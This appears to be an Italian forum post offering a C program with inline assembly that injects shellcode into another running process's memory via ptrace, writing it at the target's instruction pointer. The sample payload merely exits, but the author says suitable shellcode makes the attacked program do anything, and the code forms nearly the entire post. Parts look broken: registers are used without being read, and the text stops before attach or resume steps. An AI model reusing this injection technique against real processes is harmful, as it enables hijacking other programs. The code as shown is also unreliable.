un classico, iniezione di un codice nella memoria di un processo,
lo shellcode(il codice) lo prende dall'interno del codice stesso ma con poche modifiche si puo modificare come volete è solo un esempio. penso che il codice comunque possa essere migliorato un po..... have fun ^^
con shellcode appropriati si puo far in modo che il programma attaccato faccia cio che vogliamo
//qui è presente il codice che compilato andremo a inserire nella memoria //del processo attacato
asm( "start:n" "nopn" //scrivete quello che volete "movl $1,%eaxn" "movl $123,%ebxn" "int $0x80n" //shellcode end "end:n" "nopn" ); //ritorna un puntatore alla prima istruzione dello shellcode char *getP(void){ asm("movl $start,%eaxn"); } //ritorna la dimensione dello shellcode int getS(void){ asm("movl $(end-start),%eaxn"); }
int main(int ar, char** av) { if (ar != 2){ printf("[-] %s <pid>n", av[0]); exit(0); } pid_t pid; int status, i, pl; struct user_regs_struct regs; char s[1024];
//prendiamo il pid del processo che andremo ad attacare if (sscanf(av[1], "%d", &pid) != 1){ printf("[-] I cant use pid=%sn", av[1]); exit(1); } //settiamo a 0 il vettore s e scriviamo lo shellcode memset(s, 0x00, 1024); memcpy(s, getP(), getS());
for(i=0; i < getS(); i += 4){ memcpy(&pl, s+i, 4); printf("%x", pl);
//insert the shellcode into the memory if (ptrace(PTRACE_POKEDATA, pid, regs.eip + i, pl) < 0){ perror("POKETDATA:"); ptrace(PTRACE_DETACH, pid, NULL, NULL); exit(2); } }